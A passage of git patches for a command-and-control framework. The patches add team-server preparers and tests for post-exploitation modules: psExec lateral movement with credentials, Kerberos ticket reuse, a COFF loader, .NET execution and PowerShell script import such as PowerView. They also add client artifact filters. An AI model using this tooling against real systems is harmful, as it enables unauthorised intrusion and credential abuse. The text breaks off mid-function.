c2Message.set_cmd(PwShLoadCommand); + c2Message.set_args(FixedPwShType); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; + } + if (action == "run" && tokens.size() >= 3) + { + c2Message.set_instruction("pwSh"); + c2Message.set_cmd(PwShRunCommand); + c2Message.set_args(joinTail(tokens, 2, true)); + result.status = 0; + return result; + } + if ((action == "import" || action == "script") && tokens.size() == 3) + { + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveScriptArtifact( + tokens[2], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + std::string payload; + if (action == "import") + { + payload = "New-Module -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "\nExport-ModuleMember -Function * -Alias *;};"; + c2Message.set_cmd(PwShImportCommand); + } + else + { + payload = "Invoke-Command -ScriptBlock {\n"; + payload += artifact.bytes; + payload += "};"; + c2Message.set_cmd(PwShScriptCommand); + } + + c2Message.set_instruction("pwSh"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_args(payload); + result.status = 0; + return result; + } + + return handledError(c2Message, "Usage: pwSh init | pwSh run | pwSh import | pwSh script \n"); +} diff --git a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp new file mode 100644 index 0000000..2851418 --- /dev/null +++ b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp @@ -0,0 +1,54 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerModuleArtifactCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerModuleArtifactCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerPreparedInputArtifact resolveToolOrUpload( + const std::string& selector, + const TeamServerCommandPreparerContext& context, + std::string& errorMessage) const; + + TeamServerCommandPreparerResult prepareScreenShot( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareKerberosUseTicket( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePsExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareCoffLoader( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareDotnetExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult preparePwSh( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 1233aca..d29fac3 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -16,6 +16,7 @@ #include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerInjectCommandPreparer.hpp" #include "TeamServerMiniDumpCommandPreparer.hpp" +#include "TeamServerModuleArtifactCommandPreparer.hpp" #include "TeamServerScriptCommandPreparer.hpp" #include "TeamServerShellcodeService.hpp" @@ -168,6 +169,26 @@ void require(bool condition, const char* message) throw std::runtime_error(message); } +std::vector splitNullFields(const std::string& value) +{ + std::vector fields; + std::string current; + for (char ch : value) + { + if (ch == '\0') + { + fields.push_back(current); + current.clear(); + } + else + { + current += ch; + } + } + fields.push_back(current); + return fields; +} + TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) { TeamServerRuntimeConfig runtimeConfig; @@ -739,6 +760,226 @@ void testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks() require(artifacts[0].arch == "x64", "miniDump artifact arch mismatch"); require(artifacts[0].format == "xored", "miniDump artifact format mismatch"); } + +void testPrepareScreenShotCreatesGeneratedArtifactSlot() +{ + ScopedPath tempRoot(makeTempDirectory("screenshot-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("screenShot")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + makeLogger(), + runtimeConfig, + artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique( + makeLogger(), + fileArtifactService, + modules)); + + TeamServerCommandPreparationService service( + makeLogger(), + runtimeConfig, + commonCommands, + modules, + std::move(preparers)); + + C2Message message; + require(service.prepareMessage("screenShot desktop.bmp", message, true, "amd64") == 0, "screenShot prepare failed"); + require(message.instruction() == "screenShot", "screenShot instruction mismatch"); + require(message.outputfile().find("GeneratedArtifacts/screenshot/beacon") != std::string::npos, "screenShot output path mismatch"); + require(fs::exists(message.outputfile() + ".artifact.pending.json"), "screenShot pending metadata missing"); + + C2Message result; + result.set_outputfile(message.outputfile()); + result.set_args("0"); + result.set_data("BMfake"); + result.set_returnvalue("Success"); + std::string artifactMessage; + require(fileArtifactService->handleCommandResult(result, artifactMessage), "screenShot result was not handled"); + require(artifactMessage.find("Generated artifact stored:") != std::string::npos, "screenShot artifact message mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "screenshot"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "screenShot artifact catalog count mismatch"); + require(artifacts[0].format == "bmp", "screenShot artifact format mismatch"); +} + +void testPrepareKerberosUseTicketUsesUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("kerberos-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "ticket.kirbi", "TICKET"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("kerberosUseTicket")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message message; + require(service.prepareMessage("kerberosUseTicket ticket.kirbi", message, true, "x64") == 0, "kerberosUseTicket prepare failed"); + require(message.instruction() == "kerberosUseTicket", "kerberosUseTicket instruction mismatch"); + require(message.inputfile() == "ticket.kirbi", "kerberosUseTicket input artifact mismatch"); + require(message.data() == "TICKET", "kerberosUseTicket data mismatch"); +} + +void testPreparePsExecUsesToolThenUploadedArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("psexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "svc.exe", "TOOL-SVC"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "uploadSvc.exe", "UPLOAD-SVC"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("psExec")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message credentialMessage; + require(service.prepareMessage("psExec -u DOMAIN\\alice secret server01 svc.exe", credentialMessage, true, "amd64") == 0, "psExec tool prepare failed"); + require(credentialMessage.instruction() == "psExec", "psExec instruction mismatch"); + require(credentialMessage.inputfile() == "svc.exe", "psExec tool artifact mismatch"); + require(credentialMessage.data() == "TOOL-SVC", "psExec tool bytes mismatch"); + const std::vector credentialFields = splitNullFields(credentialMessage.cmd()); + require(credentialFields.size() == 4, "psExec credential fields count mismatch"); + require(credentialFields[0] == "DOMAIN", "psExec domain mismatch"); + require(credentialFields[1] == "alice", "psExec username mismatch"); + require(credentialFields[2] == "secret", "psExec password mismatch"); + require(credentialFields[3] == "server01", "psExec target mismatch"); + + C2Message uploadMessage; + require(service.prepareMessage("psExec -n server01 uploadSvc.exe", uploadMessage, true, "amd64") == 0, "psExec upload fallback prepare failed"); + require(uploadMessage.inputfile() == "uploadSvc.exe", "psExec upload artifact mismatch"); + require(uploadMessage.data() == "UPLOAD-SVC", "psExec upload bytes mismatch"); + require(uploadMessage.cmd() == "server01", "psExec token target mismatch"); +} + +void testPrepareCoffLoaderUsesToolArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("coffloader-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "whoami.x64.o", "COFF"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("coffLoader")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message message; + require(service.prepareMessage("coffLoader whoami.x64.o go Zs c:\\ 0", message, true, "x64") == 0, "coffLoader prepare failed"); + require(message.instruction() == "coffLoader", "coffLoader instruction mismatch"); + require(message.inputfile() == "whoami.x64.o", "coffLoader tool artifact mismatch"); + require(message.cmd() == "go", "coffLoader function mismatch"); + require(message.args() == "Zs c:\\ 0", "coffLoader arguments mismatch"); + require(message.data() == "COFF", "coffLoader bytes mismatch"); +} + +void testPrepareDotnetExecLoadUsesToolArtifact() +{ + ScopedPath tempRoot(makeTempDirectory("dotnetexec-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Tool.exe", "EXE"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Library.dll", "DLL"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("dotnetExec")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message exeMessage; + require(service.prepareMessage("dotnetExec load tool Tool.exe", exeMessage, true, "amd64") == 0, "dotnetExec exe load prepare failed"); + require(exeMessage.instruction() == "dotnetExec", "dotnetExec instruction mismatch"); + require(exeMessage.cmd() == "00001", "dotnetExec load command mismatch"); + require(exeMessage.args() == "tool", "dotnetExec short name mismatch"); + require(exeMessage.returnvalue().empty(), "dotnetExec exe type mismatch"); + require(exeMessage.inputfile() == "Tool.exe", "dotnetExec exe artifact mismatch"); + require(exeMessage.data() == "EXE", "dotnetExec exe bytes mismatch"); + + C2Message dllMessage; + require(service.prepareMessage("dotnetExec load library Library.dll Namespace.Type", dllMessage, true, "amd64") == 0, "dotnetExec dll load prepare failed"); + require(dllMessage.returnvalue() == "Namespace.Type", "dotnetExec dll type mismatch"); + require(dllMessage.data() == "DLL", "dotnetExec dll bytes mismatch"); + + C2Message runMessage; + require(service.prepareMessage("dotnetExec runExe tool arg1", runMessage, true, "amd64") == 42, "dotnetExec run should fall through to module init"); + require(runMessage.instruction() == "FAKE", "dotnetExec run fallback mismatch"); +} + +void testPreparePwShUsesFixedRunnerAndScriptArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("pwsh-preparer")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "rdm.dll", "RUNNER"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "PowerView.ps1", "function Invoke-PowerView {}\n"); + + CommonCommands commonCommands; + std::vector> modules; + modules.push_back(std::make_unique("pwSh")); + + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared(makeLogger(), runtimeConfig, artifactStore); + std::vector> preparers; + preparers.push_back(std::make_unique(makeLogger(), fileArtifactService, modules)); + + TeamServerCommandPreparationService service(makeLogger(), runtimeConfig, commonCommands, modules, std::move(preparers)); + + C2Message initMessage; + require(service.prepareMessage("pwSh init", initMessage, true, "amd64") == 0, "pwSh init prepare failed"); + require(initMessage.instruction() == "pwSh", "pwSh init instruction mismatch"); + require(initMessage.cmd() == "00001", "pwSh init command mismatch"); + require(initMessage.args() == "rdm.rdm", "pwSh fixed type mismatch"); + require(initMessage.inputfile() == "rdm.dll", "pwSh fixed runner mismatch"); + require(initMessage.data() == "RUNNER", "pwSh runner bytes mismatch"); + + C2Message runMessage; + require(service.prepareMessage("pwSh run Get-Process", runMessage, true, "amd64") == 0, "pwSh run prepare failed"); + require(runMessage.cmd() == "00003", "pwSh run command mismatch"); + require(runMessage.args() == "Get-Process ", "pwSh run args mismatch"); + + C2Message importMessage; + require(service.prepareMessage("pwSh import PowerView.ps1", importMessage, true, "amd64") == 0, "pwSh import prepare failed"); + require(importMessage.cmd() == "00004", "pwSh import command mismatch"); + require(importMessage.inputfile() == "PowerView.ps1", "pwSh import script mismatch"); + require(importMessage.args().find("New-Module -ScriptBlock") != std::string::npos, "pwSh import wrapper mismatch"); + + C2Message scriptMessage; + require(service.prepareMessage("pwSh script PowerView.ps1", scriptMessage, true, "amd64") == 0, "pwSh script prepare failed"); + require(scriptMessage.cmd() == "00005", "pwSh script command mismatch"); + require(scriptMessage.args().find("Invoke-Command -ScriptBlock") != std::string::npos, "pwSh script wrapper mismatch"); +} } // namespace int main() @@ -757,5 +998,11 @@ int main() testPrepareChiselUsesFixedToolAndShellcodeService(); testPrepareScriptAndPowershellUseScriptArtifacts(); testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks(); + testPrepareScreenShotCreatesGeneratedArtifactSlot(); + testPrepareKerberosUseTicketUsesUploadedArtifact(); + testPreparePsExecUsesToolThenUploadedArtifact(); + testPrepareCoffLoaderUsesToolArtifact(); + testPrepareDotnetExecLoadUsesToolArtifact(); + testPreparePwShUsesFixedRunnerAndScriptArtifacts(); return 0; } From 7f532d99bdcabe7001a048c7a430b91623a1d342 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 13:14:14 +0200 Subject: [PATCH 40/82] add artifact_filters --- C2Client/C2Client/ConsolePanel.py | 54 ++++++++++--- C2Client/tests/test_console_panel.py | 60 ++++++++++++++- core | 2 +- protocol/TeamServerApi.proto | 1 + .../teamServer/TeamServerCommandCatalog.cpp | 20 ++++- .../teamServer/TeamServerCommandCatalog.hpp | 1 + .../TeamServerCommandCatalogService.cpp | 12 +++ .../tests/TeamServerCommandCatalogTests.cpp | 75 ++++++++++++++++++- 8 files changed, 208 insertions(+), 17 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 469dec9..820f2a2 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -394,20 +394,36 @@ def _resolve_filter_value(value: Any, session: Any | None) -> str: return text -def _arg_has_artifact_filter(arg: Any) -> bool: +def _artifact_filters_for_arg(arg: Any) -> list[Any]: + artifact_filters = getattr(arg, "artifact_filters", None) + if artifact_filters is not None: + try: + filters = [artifact_filter for artifact_filter in artifact_filters if artifact_filter is not None] + except TypeError: + filters = [] + if filters: + return filters + if not hasattr(arg, "artifact_filter"): - return False - artifact_filter = getattr(arg, "artifact_filter") + return [] + + artifact_filter = getattr(arg, "artifact_filter", None) + if artifact_filter is None: + return [] if hasattr(arg, "HasField"): try: - return bool(arg.HasField("artifact_filter")) + if not arg.HasField("artifact_filter"): + return [] except ValueError: pass - return artifact_filter is not None + return [artifact_filter] -def _artifact_query_from_arg(arg: Any, session: Any | None) -> Any: - artifact_filter = getattr(arg, "artifact_filter", None) +def _arg_has_artifact_filter(arg: Any) -> bool: + return bool(_artifact_filters_for_arg(arg)) + + +def _artifact_query_from_filter(artifact_filter: Any, session: Any | None) -> Any: query = TeamServerApi_pb2.ArtifactQuery() for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains"): value = _resolve_filter_value(getattr(artifact_filter, field_name, ""), session) @@ -466,11 +482,25 @@ def _load_modules_for_session(grpcClient: Any, beaconHash: str, listenerHash: st def _load_artifacts_for_arg(grpcClient: Any, arg: Any, session: Any | None) -> list[Any]: if grpcClient is None or not hasattr(grpcClient, "listArtifacts") or not _arg_has_artifact_filter(arg): return [] - try: - return list(grpcClient.listArtifacts(_artifact_query_from_arg(arg, session))) - except Exception as exc: - logger.debug("Command autocomplete could not load artifact context: %s", exc) - return [] + + artifacts: list[Any] = [] + seen: set[tuple[str, str, str]] = set() + for artifact_filter in _artifact_filters_for_arg(arg): + try: + query = _artifact_query_from_filter(artifact_filter, session) + for artifact in grpcClient.listArtifacts(query): + key = ( + str(getattr(artifact, "artifact_id", "") or ""), + str(getattr(artifact, "name", "") or ""), + str(getattr(artifact, "display_name", "") or ""), + ) + if key in seen: + continue + seen.add(key) + artifacts.append(artifact) + except Exception as exc: + logger.debug("Command autocomplete could not load artifact context: %s", exc) + return artifacts def _module_command_names(command_specs: list[Any]) -> list[str]: diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index a73afe8..e080f92 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -7,7 +7,15 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.ConsolePanel import CodeCompleter, CommandEditor, Console, ConsolesTab, build_completer_data, command_specs_to_completer_data +from C2Client.ConsolePanel import ( + CodeCompleter, + CommandEditor, + Console, + ConsolesTab, + _load_artifacts_for_arg, + build_completer_data, + command_specs_to_completer_data, +) from C2Client.grpcClient import TeamServerApi_pb2 @@ -377,6 +385,56 @@ def listArtifacts(self, query): assert ("notes.txt", []) in upload_children +def test_command_arg_can_use_multiple_artifact_filters(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.category == "tool": + return iter([ + SimpleNamespace(artifact_id="tool-1", name="Windows/x64/svc.exe", display_name="svc.exe"), + ]) + if query.category == "upload": + return iter([ + SimpleNamespace(artifact_id="upload-1", name="uploadedSvc.exe", display_name="uploadedSvc.exe"), + ]) + return iter([]) + + tool_filter = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="session.arch", + runtime="any", + name_contains=".exe", + ) + upload_filter = SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="file", + name_contains=".exe", + ) + service_arg = SimpleNamespace(name="service_artifact", type="artifact", values=[], artifact_filters=[tool_filter, upload_filter]) + session = SimpleNamespace(os="Windows 11", arch="x64") + grpc = FakeGrpc() + + artifacts = _load_artifacts_for_arg(grpc, service_arg, session) + + assert [artifact.name for artifact in artifacts] == ["Windows/x64/svc.exe", "uploadedSvc.exe"] + assert [query.category for query in grpc.queries] == ["tool", "upload"] + assert grpc.queries[0].target == "teamserver" + assert grpc.queries[0].arch == "x64" + assert grpc.queries[1].target == "beacon" + assert grpc.queries[1].platform == "windows" + assert grpc.queries[1].runtime == "file" + + def test_script_and_powershell_commands_use_script_artifact_completions(): class FakeGrpc: def __init__(self): diff --git a/core b/core index e342928..29b1bb7 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit e3429280ced47d7bd88f417d63548af1731a0bf6 +Subproject commit 29b1bb72675211415c2457097b6d597cd559bc86 diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index a096c70..d3d17e8 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -161,6 +161,7 @@ message CommandArgSpec repeated string values = 5; ArtifactQuery artifact_filter = 6; bool variadic = 7; + repeated ArtifactQuery artifact_filters = 8; } diff --git a/teamServer/teamServer/TeamServerCommandCatalog.cpp b/teamServer/teamServer/TeamServerCommandCatalog.cpp index aa6789f..62fe194 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.cpp @@ -102,6 +102,13 @@ TeamServerCommandArtifactFilter parseArtifactFilter(const json& input) return filter; } +void addArtifactFilter(TeamServerCommandArgSpec& arg, TeamServerCommandArtifactFilter filter) +{ + arg.artifactFilters.push_back(std::move(filter)); + arg.artifactFilter = arg.artifactFilters.front(); + arg.hasArtifactFilter = true; +} + TeamServerCommandArgSpec parseArgSpec(const json& input) { TeamServerCommandArgSpec arg; @@ -115,8 +122,17 @@ TeamServerCommandArgSpec parseArgSpec(const json& input) auto artifactFilterIt = input.find("artifact_filter"); if (artifactFilterIt != input.end() && artifactFilterIt->is_object()) { - arg.artifactFilter = parseArtifactFilter(*artifactFilterIt); - arg.hasArtifactFilter = true; + addArtifactFilter(arg, parseArtifactFilter(*artifactFilterIt)); + } + + auto artifactFiltersIt = input.find("artifact_filters"); + if (artifactFiltersIt != input.end() && artifactFiltersIt->is_array()) + { + for (const auto& artifactFilter : *artifactFiltersIt) + { + if (artifactFilter.is_object()) + addArtifactFilter(arg, parseArtifactFilter(artifactFilter)); + } } return arg; } diff --git a/teamServer/teamServer/TeamServerCommandCatalog.hpp b/teamServer/teamServer/TeamServerCommandCatalog.hpp index e9c9518..356bf01 100644 --- a/teamServer/teamServer/TeamServerCommandCatalog.hpp +++ b/teamServer/teamServer/TeamServerCommandCatalog.hpp @@ -24,6 +24,7 @@ struct TeamServerCommandArgSpec std::string description; std::vector values; TeamServerCommandArtifactFilter artifactFilter; + std::vector artifactFilters; bool hasArtifactFilter = false; bool variadic = false; }; diff --git a/teamServer/teamServer/TeamServerCommandCatalogService.cpp b/teamServer/teamServer/TeamServerCommandCatalogService.cpp index f5d33e3..bd32400 100644 --- a/teamServer/teamServer/TeamServerCommandCatalogService.cpp +++ b/teamServer/teamServer/TeamServerCommandCatalogService.cpp @@ -73,6 +73,18 @@ teamserverapi::CommandSpec TeamServerCommandCatalogService::toProto(const TeamSe filter->set_runtime(arg.artifactFilter.runtime); filter->set_name_contains(arg.artifactFilter.nameContains); } + + for (const TeamServerCommandArtifactFilter& artifactFilter : arg.artifactFilters) + { + teamserverapi::ArtifactQuery* filter = argSpec->add_artifact_filters(); + filter->set_category(artifactFilter.category); + filter->set_target(artifactFilter.target); + filter->set_scope(artifactFilter.scope); + filter->set_platform(artifactFilter.platform); + filter->set_arch(artifactFilter.arch); + filter->set_runtime(artifactFilter.runtime); + filter->set_name_contains(artifactFilter.nameContains); + } } return spec; diff --git a/teamServer/tests/TeamServerCommandCatalogTests.cpp b/teamServer/tests/TeamServerCommandCatalogTests.cpp index cc228f3..6f068eb 100644 --- a/teamServer/tests/TeamServerCommandCatalogTests.cpp +++ b/teamServer/tests/TeamServerCommandCatalogTests.cpp @@ -114,6 +114,47 @@ void seedCommandSpecs(const TeamServerRuntimeConfig& runtimeConfig) "args": [], "examples": ["end"], "source": "manifest" +})JSON"); + writeFile( + fs::path(runtimeConfig.commandSpecsDirectoryPath) / "modules" / "psExec.json", + R"JSON({ + "name": "psExec", + "kind": "module", + "description": "Copy and run a service executable.", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64"], + "args": [ + { + "name": "service_artifact", + "type": "artifact", + "required": true, + "description": "Service executable artifact.", + "artifact_filters": [ + { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "name_contains": ".exe" + }, + { + "category": "upload", + "scope": "operator", + "target": "beacon", + "platform": "session.platform", + "arch": "session.arch", + "runtime": "file", + "name_contains": ".exe" + } + ] + } + ], + "examples": ["psExec -n fileserver service.exe"], + "source": "manifest" })JSON"); writeFile(fs::path(runtimeConfig.commandSpecsDirectoryPath) / "common" / "broken.json", "{"); } @@ -139,7 +180,7 @@ void testCommandCatalogLoadsManifestSpecs() TeamServerCommandCatalog catalog(runtimeConfig); const std::vector commands = catalog.listCommands(); - assert(commands.size() == 2); + assert(commands.size() == 3); const TeamServerCommandSpecRecord* sleep = findCommand(commands, "sleep"); assert(sleep != nullptr); @@ -159,11 +200,22 @@ void testCommandCatalogLoadsManifestSpecs() assert(sleep->args[0].artifactFilter.arch == "any"); assert(sleep->args[0].artifactFilter.runtime == "any"); assert(sleep->args[0].artifactFilter.nameContains == ".exe"); + assert(sleep->args[0].artifactFilters.size() == 1); assert(sleep->examples.size() == 1); const TeamServerCommandSpecRecord* end = findCommand(commands, "end"); assert(end != nullptr); assert(end->args.empty()); + + const TeamServerCommandSpecRecord* psExec = findCommand(commands, "psExec"); + assert(psExec != nullptr); + assert(psExec->args.size() == 1); + assert(psExec->args[0].hasArtifactFilter); + assert(psExec->args[0].artifactFilters.size() == 2); + assert(psExec->args[0].artifactFilters[0].category == "tool"); + assert(psExec->args[0].artifactFilters[0].arch == "session.arch"); + assert(psExec->args[0].artifactFilters[1].category == "upload"); + assert(psExec->args[0].artifactFilters[1].scope == "operator"); } void testCommandCatalogFiltersSpecs() @@ -217,7 +269,28 @@ void testCommandCatalogServiceStreamsProto() assert(commands[0].args(0).artifact_filter().arch() == "any"); assert(commands[0].args(0).artifact_filter().runtime() == "any"); assert(commands[0].args(0).artifact_filter().name_contains() == ".exe"); + assert(commands[0].args(0).artifact_filters_size() == 1); + assert(commands[0].args(0).artifact_filters(0).category() == "tool"); assert(commands[0].DebugString().find(tempRoot.path().string()) == std::string::npos); + + teamserverapi::CommandQuery psExecQuery; + psExecQuery.set_name_contains("psexec"); + commands.clear(); + assert(service.listCommands(psExecQuery, [&](const teamserverapi::CommandSpec& command) + { + commands.push_back(command); + return true; + }).ok()); + + assert(commands.size() == 1); + assert(commands[0].name() == "psExec"); + assert(commands[0].args_size() == 1); + assert(commands[0].args(0).artifact_filter().category() == "tool"); + assert(commands[0].args(0).artifact_filters_size() == 2); + assert(commands[0].args(0).artifact_filters(0).category() == "tool"); + assert(commands[0].args(0).artifact_filters(1).category() == "upload"); + assert(commands[0].args(0).artifact_filters(1).scope() == "operator"); + assert(commands[0].args(0).artifact_filters(1).runtime() == "file"); } } // namespace From dd853f034eee01df69dfac2817b7629638f15268 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 14:23:55 +0200 Subject: [PATCH 41/82] hosted --- C2Client/C2Client/ArtifactPanel.py | 127 ++++++++++++-- C2Client/C2Client/grpcClient.py | 23 +++ C2Client/tests/test_artifact_panel.py | 81 ++++++++- C2Client/tests/test_grpc_client.py | 53 +++++- protocol/TeamServerApi.proto | 20 +++ teamServer/teamServer/TeamServer.cpp | 42 ++++- teamServer/teamServer/TeamServer.hpp | 2 + .../teamServer/TeamServerArtifactCatalog.cpp | 159 +++++++++++++++++- .../teamServer/TeamServerArtifactCatalog.hpp | 2 + .../teamServer/TeamServerArtifactService.cpp | 51 ++++++ .../teamServer/TeamServerArtifactService.hpp | 6 + teamServer/teamServer/TeamServerConfig.json | 6 +- .../teamServer/TeamServerRuntimeConfig.cpp | 6 +- .../teamServer/TeamServerRuntimeConfig.hpp | 2 +- .../tests/TeamServerArtifactCatalogTests.cpp | 86 +++++++++- 15 files changed, 636 insertions(+), 30 deletions(-) diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 29bd2e2..5b0d8fa 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -1,5 +1,6 @@ from __future__ import annotations +from pathlib import Path from typing import Any from PyQt6.QtCore import Qt @@ -7,6 +8,7 @@ QApplication, QAbstractItemView, QComboBox, + QFileDialog, QHBoxLayout, QHeaderView, QLabel, @@ -28,12 +30,14 @@ ArtifactTabTitle = "Artifacts" ALL_FILTER = "All" -CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "upload", "download", "minidump", "screenshot"] +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "hosted", "upload", "download", "minidump", "screenshot"] SCOPE_FILTERS = [ALL_FILTER, "generated", "beacon", "implant", "teamserver", "server", "operator", "any"] TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] RUNTIME_FILTERS = [ALL_FILTER, "native", "file", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] +UPLOAD_PLATFORMS = {"windows", "linux", "any"} +UPLOAD_ARCHS = {"x64", "x86", "arm64", "any"} COL_CATEGORY = 0 COL_SCOPE = 1 @@ -84,6 +88,13 @@ def format_size(size: Any) -> str: return f"{size_float:.1f} {units[unit_index]}" +def _upload_filter_value(value: str, allowed: set[str]) -> str: + lowered = _text(value).lower() + if lowered == 